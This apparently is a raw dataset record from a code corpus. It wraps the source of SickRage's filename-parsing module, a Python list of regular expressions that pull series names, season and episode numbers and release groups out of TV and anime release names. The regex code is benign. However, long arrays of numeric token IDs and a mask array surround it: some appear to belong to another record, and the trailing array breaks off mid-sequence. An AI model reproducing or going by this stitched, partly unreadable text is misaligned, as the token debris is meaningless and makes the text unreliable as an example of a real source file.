1627, 334, 18, 13, 503, 650, 13, 9269, 9, 2637, 1233, 370, 282, 11779, 12701, 272, 2637, 536, 14, 221, 710, 372, 574, 365, 282, 499, 13, 2960, 3035, 314, 1627, 272, 2637, 1233, 436, 314, 2637, 536, 14, 221, 982, 314, 2637, 1233, 3913, 506, 272, 12152, 12, 536, 911, 506, 283, 5912, 8642, 600, 18956, 1370, 272, 408, 272, 340, 440, 1233, 26, 267, 372, 488, 12, 488, 272, 340, 440, 1228, 8, 600, 12, 7116, 304, 267, 746, 1722, 360, 3364, 2637, 1233, 2013, 701, 1798, 358, 339, 327, 18146, 1536, 370, 650, 14435, 687, 314, 1233, 14, 272, 1233, 275, 295, 14, 1294, 8, 82, 16122, 65, 13, 90, 4300, 1233, 14, 2325, 18756, 16, 19663, 19, 61, 339, 367, 3158, 315, 9479, 26, 267, 340, 1233, 315, 3158, 4439, 17, 2189, 288, 372, 1233, 12, 3158, 1988, 17, 61, 339, 372, 1233, 12, 399, 7, 5912, 4366, 82, 3171, 450, 1233, 421, 199, 3, 2235, 939, 687, 1455, 921, 1544, 14, 2102, 14, 16294, 15, 7935, 5596, 15, 4595, 26723, 13, 18, 15, 7336, 13, 26723, 13, 18, 63, 1624, 13, 24, 14, 2424, 199, 6021, 275, 334, 2043, 661, 65, 285, 297, 283, 2158, 297, 399, 7, 14799, 285, 659, 2043, 661, 371, 75, 297, 283, 371, 297, 399, 7, 5583, 75, 22133, 5653, 659, 2043, 661, 7984, 297, 399, 7, 33, 4419, 261, 659, 2043, 661, 1225, 297, 399, 7, 33, 331, 317, 659, 2043, 661, 10641, 297, 399, 7, 2767, 621, 278, 659, 2043, 661, 350, 89, 297, 399, 7, 2767, 5016, 426, 659, 2043, 661, 65, 667, 297, 399, 7, 14799, 293, 13, 13878, 764, 17748, 2043, 661, 2756, 72, 297, 399, 7, 14799, 322, 72, 1638, 659, 2043, 661, 2756, 82, 297, 283, 2756, 297, 399, 7, 14799, 322, 7351, 796, 659, 2043, 661, 1581, 297, 399, 7, 33, 262, 85, 659, 2043, 661, 24685, 297, 283, 1151, 297, 399, 7, 33, 29305, 659, 2043, 661, 1151, 75, 297, 399, 7, 33, 75, 7351, 6268, 659, 2043, 661, 279, 66, 297, 283, 3526, 297, 399, 7, 2439, 13206, 5653, 659, 2043, 661, 1895, 297, 399, 7, 33, 274, 337, 659, 2043, 661, 6731, 297, 399, 7, 2439, 27719, 783, 290, 10815, 659, 2043, 661, 4478, 297, 399, 7, 51, 810, 728, 78, 4580, 502, 73, 659, 2043, 661, 455, 72, 297, 283, 455, 297, 399, 7, 24566, 8210, 530, 659, 2043, 661, 621, 297, 399, 7, 19410, 12, 21238, 17748, 2043, 661, 290, 80, 297, 399, 7, 2493, 71, 26966, 659, 2043, 661, 65, 387, 297, 399, 7, 28993, 10815, 659, 2043, 661, 17956, 297, 283, 285, 297, 399, 7, 33, 24176, 659, 2043, 661, 9912, 297, 399, 7, 3466, 16714, 437, 345, 391, 530, 17748, 2043, 661, 1273, 297, 283, 290, 297, 399, 7, 33, 2527, 368, 261, 659, 2043, 661, 5362, 297, 283, 3577, 297, 399, 7, 1596, 22562, 659, 2043, 661, 1060, 297, 399, 7, 2956, 1181, 10335, 324, 659, 2043, 661, 12868, 297, 399, 7, 33, 345, 387, 526, 659, 2043, 661, 580, 297, 399, 7, 1596, 32033, 17748, 2043, 661, 285, 87, 297, 399, 7, 33, 345, 758, 75, 659, 2043, 661, 11374, 297, 283, 305, 297, 399, 7, 9824, 313, 261, 659, 2043, 661, 1810, 297, 399, 7, 33, 270, 2302, 290, 659, 2043, 661, 1619, 297, 399, 7, 33, 273, 439, 305, 2425, 10815, 659, 2043, 661, 65, 527, 297, 399, 7, 33, 11409, 25861, 10815, 659, 2043, 661, 3812, 297, 283, 1214, 297, 399, 7, 33, 1391, 530, 659, 2043, 661, 811, 297, 283, 3624, 297, 399, 7, 33, 432, 9746, 659, 2043, 661, 65, 758, 297, 399, 7, 26917, 350, 5812, 659, 2043, 661, 1187, 77, 297, 283, 1187, 297, 399, 7, 33, 89, 4584, 65, 659, 2043, 661, 65, 806, 297, 283, 4651, 297, 399, 7, 33, 2282, 2470, 7879, 26455, 659, 2043, 661, 4087, 297, 399, 7, 11675, 65, 10815, 659, 2043, 661, 2470, 73, 297, 399, 7, 34, 455, 441, 415, 10815, 659, 2043, 661, 27162, 297, 283, 2470, 297, 399, 7, 34, 1119, 75, 723, 659, 2043, 661, 4982, 297, 399, 7, 13129, 2133, 73, 659, 2043, 661, 21112, 297, 283, 12648, 297, 399, 7, 34, 455, 1700, 65, 659, 2043, 661, 13206, 297, 399, 7, 13129, 26883, 659, 2043, 661, 2470, 81, 297, 283, 16913, 297, 399, 7, 34, 305, 544, 659, 2043, 661, 31917, 297, 399, 7, 34, 30253, 659, 2043, 661, 13475, 297, 399, 7, 13129, 764, 17748, 2043, 661, 1235, 74, 297, 399, 7, 3655, 3387, 659, 2043, 661, 20621, 297, 283, 1235, 297, 399, 7, 34, 352, 285, 85, 6214, 659, 2043, 661, 1235, 77, 297, 399, 7, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
drglove/SickRage
sickbeard/name_parser/regexes.py
2
20361
# Author: Nic Wolfe <nic@wolfeden.ca> # URL: http://code.google.com/p/sickbeard/ # # This file is part of SickRage. # # SickRage is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # SickRage is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with SickRage. If not, see <http://www.gnu.org/licenses/>. # all regexes are case insensitive normal_regexes = [ ('standard_repeat', # Show.Name.S01E02.S01E03.Source.Quality.Etc-Group # Show Name - S01E02 - S01E03 - S01E04 - Ep Name ''' ^(?P<series_name>.+?)[. _-]+ # Show_Name and separator s(?P<season_num>\d+)[. _-]* # S01 and optional separator e(?P<ep_num>\d+) # E02 and separator ([. _-]+s(?P=season_num)[. _-]* # S01 and optional separator e(?P<extra_ep_num>\d+))+ # E03/etc and separator [. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ('fov_repeat', # Show.Name.1x02.1x03.Source.Quality.Etc-Group # Show Name - 1x02 - 1x03 - 1x04 - Ep Name ''' ^(?P<series_name>.+?)[. _-]+ # Show_Name and separator (?P<season_num>\d+)x # 1x (?P<ep_num>\d+) # 02 and separator ([. _-]+(?P=season_num)x # 1x (?P<extra_ep_num>\d+))+ # 03/etc and separator [. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ('standard', # Show.Name.S01E02.Source.Quality.Etc-Group # Show Name - S01E02 - My Ep Name # Show.Name.S01.E03.My.Ep.Name # Show.Name.S01E02E03.Source.Quality.Etc-Group # Show Name - S01E02-03 - My Ep Name # Show.Name.S01.E02.E03 ''' ^((?P<series_name>.+?)[. _-]+)? # Show_Name and separator (\()?s(?P<season_num>\d+)[. _-]* # S01 and optional separator e(?P<ep_num>\d+)(\))? # E02 and separator (([. _-]*e|-) # linking e/- char (?P<extra_ep_num>(?!(1080|720|480)[pi])\d+)(\))?)* # additional E03/etc [. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ('fov', # Show_Name.1x02.Source_Quality_Etc-Group # Show Name - 1x02 - My Ep Name # Show_Name.1x02x03x04.Source_Quality_Etc-Group # Show Name - 1x02-03-04 - My Ep Name ''' ^((?P<series_name>.+?)[\[. _-]+)? # Show_Name and separator (?P<season_num>\d+)x # 1x (?P<ep_num>\d+) # 02 and separator (([. _-]*x|-) # linking x/- char (?P<extra_ep_num> (?!(1080|720|480)[pi])(?!(?<=x)264) # ignore obviously wrong multi-eps \d+))* # additional x03/etc [\]. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ('scene_date_format', # Show.Name.2010.11.23.Source.Quality.Etc-Group # Show Name - 2010-11-23 - Ep Name ''' ^((?P<series_name>.+?)[. _-]+)? # Show_Name and separator (?P<air_date>(\d+[. _-]\d+[. _-]\d+)|(\d+\w+[. _-]\w+[. _-]\d+)) [. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ('scene_sports_format', # Show.Name.100.Event.2010.11.23.Source.Quality.Etc-Group # Show.Name.2010.11.23.Source.Quality.Etc-Group # Show Name - 2010-11-23 - Ep Name ''' ^(?P<series_name>.*?(UEFA|MLB|ESPN|WWE|MMA|UFC|TNA|EPL|NASCAR|NBA|NFL|NHL|NRL|PGA|SUPER LEAGUE|FORMULA|FIFA|NETBALL|MOTOGP).*?)[. _-]+ ((?P<series_num>\d{1,3})[. _-]+)? (?P<air_date>(\d+[. _-]\d+[. _-]\d+)|(\d+\w+[. _-]\w+[. _-]\d+))[. _-]+ ((?P<extra_info>.+?)((?<![. _-]) (?<!WEB)-(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ '''), ('stupid', # tpz-abc102 ''' (?P<release_group>.+?)-\w+?[\. ]? # tpz-abc (?!264) # don't count x264 (?P<season_num>\d{1,2}) # 1 (?P<ep_num>\d{2})$ # 02 '''), ('verbose', # Show Name Season 1 Episode 2 Ep Name ''' ^(?P<series_name>.+?)[. _-]+ # Show Name and separator season[. _-]+ # season and separator (?P<season_num>\d+)[. _-]+ # 1 episode[. _-]+ # episode and separator (?P<ep_num>\d+)[. _-]+ # 02 and separator (?P<extra_info>.+)$ # Source_Quality_Etc- '''), ('season_only', # Show.Name.S01.Source.Quality.Etc-Group ''' ^((?P<series_name>.+?)[. _-]+)? # Show_Name and separator s(eason[. _-])? # S01/Season 01 (?P<season_num>\d+)[. _-]* # S01 and optional separator [. _-]*((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group ''' ), ('no_season_multi_ep', # Show.Name.E02-03 # Show.Name.E02.2010 ''' ^((?P<series_name>.+?)[. _-]+)? # Show_Name and separator (e(p(isode)?)?|part|pt)[. _-]? # e, ep, episode, or part (?P<ep_num>(\d+|[ivx]+)) # first ep num ((([. _-]+(and|&|to)[. _-]+)|-) # and/&/to joiner (?P<extra_ep_num>(?!(1080|720|480)[pi])(\d+|[ivx]+))[. _-]) # second ep num ([. _-]*(?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group ''' ), ('no_season_general', # Show.Name.E23.Test # Show.Name.Part.3.Source.Quality.Etc-Group # Show.Name.Part.1.and.Part.2.Blah-Group ''' ^((?P<series_name>.+?)[. _-]+)? # Show_Name and separator (e(p(isode)?)?|part|pt)[. _-]? # e, ep, episode, or part (?P<ep_num>(\d+|([ivx]+(?=[. _-])))) # first ep num ([. _-]+((and|&|to)[. _-]+)? # and/&/to joiner ((e(p(isode)?)?|part|pt)[. _-]?) # e, ep, episode, or part (?P<extra_ep_num>(?!(1080|720|480)[pi]) (\d+|([ivx]+(?=[. _-]))))[. _-])* # second ep num ([. _-]*(?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group ''' ), ('no_season', # Show Name - 01 - Ep Name # 01 - Ep Name # 01 - Ep Name ''' ^((?P<series_name>.+?)(?:[. _-]{2,}|[. _]))? # Show_Name and separator (?P<ep_num>\d{1,3}) # 02 (?:-(?P<extra_ep_num>\d{1,3}))* # -03-04-05 etc \s?of?\s?\d{1,3}? # of joiner (with or without spaces) and series total ep [. _-]+((?P<extra_info>.+?) # Source_Quality_Etc- ((?<![. _-])(?<!WEB) # Make sure this is really the release group -(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group ''' ), ('bare', # Show.Name.102.Source.Quality.Etc-Group ''' ^(?P<series_name>.+?)[. _-]+ # Show_Name and separator (?P<season_num>\d{1,2}) # 1 (?P<ep_num>\d{2}) # 02 and separator ([. _-]+(?P<extra_info>(?!\d{3}[. _-]+)[^-]+) # Source_Quality_Etc- (-(?P<release_group>[^- ]+([. _-]\[.*\])?))?)?$ # Group '''), ] anime_regexes = [ ('anime_horriblesubs', # [HorribleSubs] Maria the Virgin Witch - 01 [720p].mkv ''' ^(?:\[(?P<release_group>HorribleSubs)\][\s\.]) (?:(?P<series_name>.+?)[\s\.]-[\s\.]) (?P<ep_ab_num>((?!(1080|720|480)[pi]))\d{1,3}) (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? (?:v(?P<version>[0-9]))? (?:[\w\.\s]*) (?:(?:(?:[\[\(])(?P<extra_info>\d{3,4}[xp]?\d{0,4}[\.\w\s-]*)(?:[\]\)]))|(?:\d{3,4}[xp])) .*? '''), ('anime_ultimate', """ ^(?:\[(?P<release_group>.+?)\][ ._-]*) (?P<series_name>.+?)[ ._-]+ (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))?[ ._-]+? (?:v(?P<version>[0-9]))? (?:[\w\.]*) (?:(?:(?:[\[\(])(?P<extra_info>\d{3,4}[xp]?\d{0,4}[\.\w\s-]*)(?:[\]\)]))|(?:\d{3,4}[xp])) (?:[ ._]?\[(?P<crc>\w+)\])? .*? """), ('anime_Kaerizaki-Fansub', # [Kaerizaki-Fansub]_One_Piece_679_[VOSTFR][HD_1280x720].mp4 # [Kaerizaki-Fansub]_One_Piece_681_[VOSTFR][HD_1280x720]_V2.mp4 # [Kaerizaki-Fansub] High School DxD New 04 VOSTFR HD (1280x720) V2.mp4 # [Kaerizaki-Fansub] One Piece 603 VOSTFR PS VITA (960x544) V2.mp4 ''' ^\[(?P<release_group>Kaerizaki-Fansub?)\][ ._-]* # Release Group and separator (?P<series_name>.+?)[ ._-]+ # Show_Name and separator (?P<ep_ab_num>((?!\[VOSTFR|VOSTFR))\d{1,3}) # Episode number (-(?P<extra_ab_ep_num>((?!\[VOSTFR|VOSTFR))\d{1,3}))? # Extra episode number ([ ._](\[VOSTFR\]|VOSTFR))? (\[|[ ._])?(?P<extra_info>([SH]D_\d{3,4}x\d{3,4}|((SD|HD|PS\sVITA)[ ._]\(\d{3,4}x\d{3,4}\))))(\])? # Extra info ([ ._][vV](?P<version>[0-9]))? # Version .*? # Separator and EOL '''), ('anime_standard', # [Group Name] Show Name.13-14 # [Group Name] Show Name - 13-14 # Show Name 13-14 # [Group Name] Show Name.13 # [Group Name] Show Name - 13 # Show Name 13 ''' ^(\[(?P<release_group>.+?)\][ ._-]*)? # Release Group and separator (?P<series_name>.+?)[ ._-]+ # Show_Name and separator (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # E01 (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # E02 (v(?P<version>[0-9]))? # version [ ._-]+\[(?P<extra_info>\d{3,4}[xp]?\d{0,4}[\.\w\s-]*)\] # Source_Quality_Etc- (\[(?P<crc>\w{8})\])? # CRC .*? # Separator and EOL '''), ('anime_standard_round', # TODO examples # [Stratos-Subs]_Infinite_Stratos_-_12_(1280x720_H.264_AAC)_[379759DB] # [ShinBunBu-Subs] Bleach - 02-03 (CX 1280x720 x264 AAC) ''' ^(\[(?P<release_group>.+?)\][ ._-]*)? # Release Group and separator (?P<series_name>.+?)[ ._-]+ # Show_Name and separator (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # E01 (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # E02 (v(?P<version>[0-9]))? # version [ ._-]+\((?P<extra_info>(CX[ ._-]?)?\d{3,4}[xp]?\d{0,4}[\.\w\s-]*)\) # Source_Quality_Etc- (\[(?P<crc>\w{8})\])? # CRC .*? # Separator and EOL '''), ('anime_slash', # [SGKK] Bleach 312v1 [720p/MKV] ''' ^(\[(?P<release_group>.+?)\][ ._-]*)? # Release Group and separator (?P<series_name>.+?)[ ._-]+ # Show_Name and separator (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # E01 (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # E02 (v(?P<version>[0-9]))? # version [ ._-]+\[(?P<extra_info>\d{3,4}p) # Source_Quality_Etc- (\[(?P<crc>\w{8})\])? # CRC .*? # Separator and EOL '''), ('anime_standard_codec', # [Ayako]_Infinite_Stratos_-_IS_-_07_[H264][720p][EB7838FC] # [Ayako] Infinite Stratos - IS - 07v2 [H264][720p][44419534] # [Ayako-Shikkaku] Oniichan no Koto Nanka Zenzen Suki Janain Dakara ne - 10 [LQ][h264][720p] [8853B21C] ''' ^(\[(?P<release_group>.+?)\][ ._-]*)? # Release Group and separator (?P<series_name>.+?)[ ._]* # Show_Name and separator ([ ._-]+-[ ._-]+[A-Z]+[ ._-]+)?[ ._-]+ # funny stuff, this is sooo nuts ! this will kick me in the butt one day (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # E01 (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # E02 (v(?P<version>[0-9]))? # version ([ ._-](\[\w{1,2}\])?\[[a-z][.]?\w{2,4}\])? #codec [ ._-]*\[(?P<extra_info>(\d{3,4}[xp]?\d{0,4})?[\.\w\s-]*)\] # Source_Quality_Etc- (\[(?P<crc>\w{8})\])? .*? # Separator and EOL '''), ('anime_codec_crc', ''' ^(?:\[(?P<release_group>.*?)\][ ._-]*)? (?:(?P<series_name>.*?)[ ._-]*)? (?:(?P<ep_ab_num>(((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))[ ._-]*).+? (?:\[(?P<codec>.*?)\][ ._-]*) (?:\[(?P<crc>\w{8})\])? .*? '''), ('anime_and_normal', # Bleach - s16e03-04 - 313-314 # Bleach.s16e03-04.313-314 # Bleach s16e03e04 313-314 ''' ^(?P<series_name>.+?)[ ._-]+ # start of string and series name and non optinal separator [sS](?P<season_num>\d+)[. _-]* # S01 and optional separator [eE](?P<ep_num>\d+) # epipisode E02 (([. _-]*e|-) # linking e/- char (?P<extra_ep_num>\d+))* # additional E03/etc ([ ._-]{2,}|[ ._]+) # if "-" is used to separate at least something else has to be there(->{2,}) "s16e03-04-313-314" would make sens any way ((?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # absolute number (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # "-" as separator and anditional absolute number, all optinal (v(?P<version>[0-9]))? # the version e.g. "v2" .*? ''' ), ('anime_and_normal_x', # Bleach - s16e03-04 - 313-314 # Bleach.s16e03-04.313-314 # Bleach s16e03e04 313-314 ''' ^(?P<series_name>.+?)[ ._-]+ # start of string and series name and non optinal separator (?P<season_num>\d+)[. _-]* # S01 and optional separator [xX](?P<ep_num>\d+) # epipisode E02 (([. _-]*e|-) # linking e/- char (?P<extra_ep_num>\d+))* # additional E03/etc ([ ._-]{2,}|[ ._]+) # if "-" is used to separate at least something else has to be there(->{2,}) "s16e03-04-313-314" would make sens any way ((?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # absolute number (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # "-" as separator and anditional absolute number, all optinal (v(?P<version>[0-9]))? # the version e.g. "v2" .*? ''' ), ('anime_and_normal_reverse', # Bleach - 313-314 - s16e03-04 ''' ^(?P<series_name>.+?)[ ._-]+ # start of string and series name and non optinal separator (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # absolute number (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # "-" as separator and anditional absolute number, all optinal (v(?P<version>[0-9]))? # the version e.g. "v2" ([ ._-]{2,}|[ ._]+) # if "-" is used to separate at least something else has to be there(->{2,}) "s16e03-04-313-314" would make sens any way [sS](?P<season_num>\d+)[. _-]* # S01 and optional separator [eE](?P<ep_num>\d+) # epipisode E02 (([. _-]*e|-) # linking e/- char (?P<extra_ep_num>\d+))* # additional E03/etc .*? ''' ), ('anime_and_normal_front', # 165.Naruto Shippuuden.s08e014 ''' ^(?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # start of string and absolute number (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # "-" as separator and anditional absolute number, all optinal (v(?P<version>[0-9]))?[ ._-]+ # the version e.g. "v2" (?P<series_name>.+?)[ ._-]+ [sS](?P<season_num>\d+)[. _-]* # S01 and optional separator [eE](?P<ep_num>\d+) (([. _-]*e|-) # linking e/- char (?P<extra_ep_num>\d+))* # additional E03/etc .*? ''' ), ('anime_ep_name', ''' ^(?:\[(?P<release_group>.+?)\][ ._-]*) (?P<series_name>.+?)[ ._-]+ (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))?[ ._-]*? (?:v(?P<version>[0-9])[ ._-]+?)? (?:.+?[ ._-]+?)? \[(?P<extra_info>\w+)\][ ._-]? (?:\[(?P<crc>\w{8})\])? .*? ''' ), ('anime_WarB3asT', # 003. Show Name - Ep Name.ext # 003-004. Show Name - Ep Name.ext ''' ^(?P<ep_ab_num>\d{3,4})(-(?P<extra_ab_ep_num>\d{3,4}))?\.\s+(?P<series_name>.+?)\s-\s.* '''), ('anime_bare', # One Piece - 102 # [ACX]_Wolf's_Spirit_001.mkv ''' ^(\[(?P<release_group>.+?)\][ ._-]*)? (?P<series_name>.+?)[ ._-]+ # Show_Name and separator (?P<ep_ab_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}) # E01 (-(?P<extra_ab_ep_num>((?!(1080|720|480)[pi])|(?![hx].?264))\d{1,3}))? # E02 (v(?P<version>[0-9]))? # v2 .*? # Separator and EOL ''') ]
gpl-3.0
[ 3, 6529, 26, 653, 530, 644, 79, 276, 69, 665, 12165, 32, 28070, 69, 848, 14, 696, 30, 199, 3, 2851, 26, 1455, 921, 600, 14, 3098, 14, 957, 15, 80, 15, 32370, 15283, 15, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 28964, 31066, 14, 199, 3, 199, 3, 28964, 31066, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 28964, 31066, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 28964, 31066, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 1006, 5163, 397, 787, 1930, 27845, 199, 199, 3302, 63, 29283, 275, 359, 272, 661, 6807, 63, 8755, 297, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 14, 51, 614, 37, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 446, 428, 614, 37, 1644, 446, 428, 614, 37, 966, 446, 27255, 2812, 1362, 1449, 1362, 7167, 2229, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 4483, 327, 12968, 63, 985, 436, 9432, 1362, 308, 2229, 48, 28, 12605, 63, 1507, 3072, 68, 11, 2788, 14, 485, 13, 3672, 463, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 1545, 63, 1507, 3072, 68, 8771, 14960, 327, 662, 996, 436, 9432, 1362, 7287, 14, 485, 20253, 83, 2229, 48, 29, 12605, 63, 1507, 2788, 14, 485, 13, 3672, 3777, 327, 428, 614, 436, 2716, 9432, 1362, 325, 2229, 48, 28, 2911, 63, 1545, 63, 1507, 3072, 68, 11, 430, 11, 8540, 327, 662, 1644, 15, 6839, 436, 9432, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 545, 86, 63, 8755, 297, 1362, 327, 12968, 14, 985, 14, 17, 88, 996, 14, 17, 88, 1644, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 413, 88, 996, 446, 413, 88, 1644, 446, 413, 88, 966, 446, 27255, 2812, 1362, 1449, 1362, 7167, 2229, 48, 28, 5602, 63, 354, 29587, 2788, 14, 485, 20253, 4483, 327, 12968, 63, 985, 436, 9432, 1362, 7558, 48, 28, 12605, 63, 1507, 3072, 68, 8771, 88, 12788, 327, 413, 88, 1362, 7558, 48, 28, 1545, 63, 1507, 3072, 68, 8771, 17907, 327, 12497, 436, 9432, 1362, 7287, 14, 485, 20253, 2229, 48, 29, 12605, 63, 1507, 9, 88, 8540, 327, 413, 88, 1362, 7558, 48, 28, 2911, 63, 1545, 63, 1507, 3072, 68, 11, 430, 11, 9326, 327, 30569, 15, 6839, 436, 9432, 1362, 26496, 485, 13, 3672, 17304, 48, 28, 2911, 63, 815, 29587, 9, 463, 327, 5800, 63, 19436, 63, 28411, 13, 1362, 334, 2229, 11230, 30352, 485, 13, 566, 2229, 11230, 13166, 9, 12788, 327, 4155, 3238, 642, 365, 7710, 314, 4683, 1572, 1362, 446, 2229, 48, 28, 3221, 63, 923, 13489, 13, 1622, 11, 779, 14, 485, 13, 7272, 59, 17910, 566, 31, 22119, 5547, 4, 4519, 327, 5611, 1362, 2125, 659, 339, 661, 6807, 297, 1362, 327, 12968, 14, 985, 14, 51, 614, 37, 996, 14, 2980, 14, 19436, 14, 28411, 13, 2448, 1362, 327, 12968, 2812, 446, 428, 614, 37, 996, 446, 4932, 27255, 2812, 1362, 327, 